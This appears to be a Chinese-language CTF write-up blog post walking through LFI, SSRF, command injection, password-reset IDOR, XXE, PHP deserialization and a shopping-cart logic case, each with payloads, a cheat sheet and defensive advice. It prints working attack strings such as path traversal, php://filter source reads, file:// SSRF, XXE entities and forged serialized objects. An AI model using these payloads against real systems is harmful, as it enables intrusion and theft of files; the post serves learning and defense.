CTF Web漏洞实战全记录:从文件包含到XXE的渗透思路

张开发
2026/4/9 8:03:15 15 分钟阅读

分享文章

CTF Web漏洞实战全记录:从文件包含到XXE的渗透思路
本文基于真实CTF题目环境完整复盘了七类常见Web安全漏洞的探测、利用及绕过过程。每个案例均包含漏洞原理、代码审计、Payload构造、失败尝试与成功步骤并提供对应的防御建议。一、文件包含漏洞LFI与PHP伪协议读取源码漏洞场景一个在线文件查看器URL参数?file直接传递给include()函数无任何过滤。通过包含/etc/passwd验证漏洞存在最终需要读取secret.php获取flag。代码审计服务端index.php核心代码?php if (isset($_GET[file])) { $file $_GET[file]; // 过滤被注释实际未启用 include($file); } else { echo h1在线文件查看器/h1; } ?由于include直接包含用户可控的路径攻击者可使用php://filter流读取任意PHP文件源码。利用过程第一步读取/etc/passwd确认漏洞。http://target/?file../../../../etc/passwd返回用户列表。第二步尝试读取flag.php、/flag.txt均返回警告文件不存在。第三步读取index.php源码http://target/?filephp://filter/convert.base64-encode/resourceindex.php得到base64解码后确认没有过滤但未发现flag。第四步猜测隐藏文件名secret.php构造http://target/?filephp://filter/convert.base64-encode/resourcesecret.php返回base64字符串PD9waHAgJGZsYWcgPSAiZmxhZ3s4ZDdmYWNhOC03ZDdjLTQ2MzctYjRlZi02MzI0ZTI1MWUyNWZ9IjsgPz4解码获得flagflag{8d7faca8-7d7c-4637-b4ef-6324e251e25f}。防御措施严格限制include的文件路径使用白名单禁用allow_url_fopen和allow_url_include对用户输入进行过滤禁止php://、file://等协议。二、SSRF服务器端请求伪造读取本地文件漏洞场景一个“解析外网”服务提供参数?url后端使用file_get_contents()或curl请求用户输入的URL。需要读取/flag.txt。利用过程首先尝试file:///etc/passwd成功证明支持file://协议。接着遍历常见flag路径?urlfile:///flag→ 空?urlfile:///flag.txt→ 返回flag{9dabb508-07fc-4905-8491-a5b6b931f2bd}。也尝试了http://127.0.0.1/flag返回404说明flag仅存在于文件系统根目录的/flag.txt。漏洞原理后端代码类似$content file_get_contents($_GET[url]); echo $content;未对协议进行校验导致可以读取任意本地文件。防御方案只允许http/https协议并限制目标IP为外网白名单使用parse_url检查协议禁止访问内网地址和file://。三、命令注入预设命令功能的参数篡改漏洞场景登录后进入系统工具页面通过单选框选择预设命令ls -l、du -h、df -h点击“Run”提交。抓包发现参数radio直接传递到后端执行。代码审计推测?php if (isset($_POST[radio])) { $cmd $_POST[radio]; system($cmd); } ?利用过程抓取正常请求POST /command.php HTTP/1.1radiols-lsubmitRun修改radio值为cat /flag响应中pre/pre无输出因为flag不在/flag。使用radiols /列出根目录发现flag.txt。最终执行radiocat /flag.txt成功获得flag。防御措施避免直接拼接用户输入到系统命令使用白名单命令映射使用escapeshellcmd()或escapeshellarg()过滤最好禁用exec、system等危险函数。四、越权漏洞密码重置功能参数覆盖漏洞场景一个密码重置页面普通用户登录后可重置密码。抓包发现请求为GET /reset_password.php?new_password12345678submit提交查询未指定重置哪个用户。需要重置admin密码。思路与试探首先尝试添加usernameadmin返回失败。使用Burp Intruder测试常见参数名发现useradmin返回Password reset successful!。预期——成功重置admin密码为12345678然后用admin登录获取flag。可结果是我拿着更改后的密码登录admin登录失败非法用户名或密码不理解以后再试。漏洞原理后端代码类似$user $_GET[user] ?? $_SESSION[username];优先使用GET参数且未校验当前会话是否允许修改其他用户密码。防御重置密码时必须校验当前登录用户与目标用户一致使用唯一token或邮件验证禁止通过URL参数指定用户名。五、XXEXML外部实体注入漏洞场景登录页面前端使用AJAX将用户名/密码封装为XML格式提交到doLogin.php服务端解析XML并返回结果。需要读取/flag.txt。利用过程构造恶意XML文件xxe.xml?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///flag.txt ] user usernamexxe;/username passwordtest/password /user使用curl发送curl -X POST http://target/doLogin.php -H Content-Type: application/xml --data-binary xxe.xml服务端解析实体将/flag.txt内容回显在msg标签中直接获得flag。复盘回顾在XXE题目中直接访问 doLogin.php 返回一大堆HTML或者错误页或空白但真正判断漏洞点的依据来自**前端页面的JavaScript代码**。是怎么稀里糊涂定位到 doLogin.php的1. 查看页面源码打开题目首页/按F12查看HTML源代码发现一个登录表单虽然页面没有明显的“提交”动作但JavaScript中定义了 doLogin() 函数javascript function doLogin(){ var username $(#username).val(); var password $(#password).val(); var data userusername username /usernamepassword password /password/user; $.ajax({ type: POST, url: doLogin.php, contentType: application/xml;charsetutf-8, data: data, dataType: xml, success: function (result) { ... } }); } 这里明确写明了 **url: doLogin.php**并且 contentType 为 application/xml说明前端会将XML数据发送到该文件。2. 为什么在cmd用curl直接访问 doLogin.php 会返回HTML- 如果用浏览器直接GET请求 doLogin.php服务器可能因为没有接收到POST的XML数据而返回默认的错误页面或空响应。- 真正的漏洞利用需要**POST请求**且携带XML数据因此直接访问看不出问题必须通过构造POST请求来触发。3. 验证漏洞存在先尝试发送一个合法的XML比如用户名密码任意观察响应中是否包含 code、msg 等标签。如果返回了XML结构说明后端确实解析了XML此时就可以注入外部实体。总结- 定位方法阅读前端源码尤其是AJAX请求部分找到提交的URL和数据类型。- 为什么不是其他文件因为只有 doLogin.php 接收并处理XML数据其他页面如 index.php只返回静态HTML或接受普通表单。- 回显内容即使 doLogin.php 在无POST数据时返回HTML但带上正确的XML payload后它会返回XML格式的响应其中就可能包含文件内容。所以关键的一步是**从HTML源码中找出隐藏的API接口**而不是盲目测试所有路径。漏洞原理PHP的simplexml_load_string()默认启用外部实体解析攻击者定义!ENTITY引用本地文件导致敏感信息泄露。防御调用libxml_disable_entity_loader(true)使用JSON替代XML或对XML解析器进行安全配置。六、PHP反序列化漏洞属性绕过漏洞场景题目给出源代码存在User类反序列化后如果usernameadmin passwordpassword则包含/flag.txt。用户通过POST参数data提交序列化字符串。代码审计class User { public $username; private $password; public function __wakeup() { if ($this-username admin $this-password password) { include(/flag.txt); echo Welcome, admin! The flag is: . $flag; } } } if (isset($_POST[data])) { $user unserialize($_POST[data]); }利用过程最初构造包含空字节的私有属性payloadO:4:User:2:{s:8:username;s:5:admin;s:16:%00User%00password;s:8:password;}但提交失败。分析发现实际环境中$password或许得改成为公有属性于是改用publicO:4:User:2:{s:8:username;s:5:admin;s:8:password;s:8:password;}成功触发flag输出。防御避免反序列化不可信数据使用签名或加密严格定义类属性访问权限并统一检查。七、业务逻辑漏洞购物车金额幻想未完全成功案例反思题目“zhangsan幻想自己有123456元”通过修改数量、添加价格参数、修改商品id等方式均未获得flag。最终分析可能是因为flag需要总价恰好等于123456元而单价为89.5无法整数倍达到。该案例或许提醒我在业务逻辑漏洞测试中要全面考虑后端计算逻辑、前端限制绕过及隐藏条件。八、漏洞利用速查表漏洞类型探测Payload成功标志常见绕过文件包含(LFI)?file../../../../etc/passwd显示passwd内容php://filter/convert.base64-encode/resourceSSRF?urlfile:///etc/passwd返回文件内容dict://、gopher://内网探测命令注入; cat /flag.txt或| ls /命令输出回显空格绕过${IFS}、管道符越权重置添加useradmin参数“Password reset successful”测试不同参数名username, user, uid, idXXE!ENTITY xxe SYSTEM file:///flag.txt实体内容被解析Blind XXE带外通道反序列化构造序列化字符串触发魔术方法绕过私有属性、修改属性个数九、总结与安全建议本次实战涵盖了CTF中高频出现的Web漏洞所有漏洞根源均为对用户输入缺乏充分过滤和校验。开发人员应遵循以下原则输入验证对所有用户可控参数进行白名单校验拒绝危险协议和特殊字符。最小权限原则Web应用不应拥有读取敏感文件如/flag的权限系统命令执行应使用白名单映射。安全配置禁用PHP危险函数如system、exec禁用外部实体解析设置open_basedir限制文件访问范围。会话管理关键操作密码重置、支付必须校验当前用户身份防止越权。通过持续学习漏洞原理和实战练习能够有效提升代码审计与渗透测试能力。本博客仅用于技术交流与学习请勿用于非法用途。所有测试均在授权靶场环境中进行。

更多文章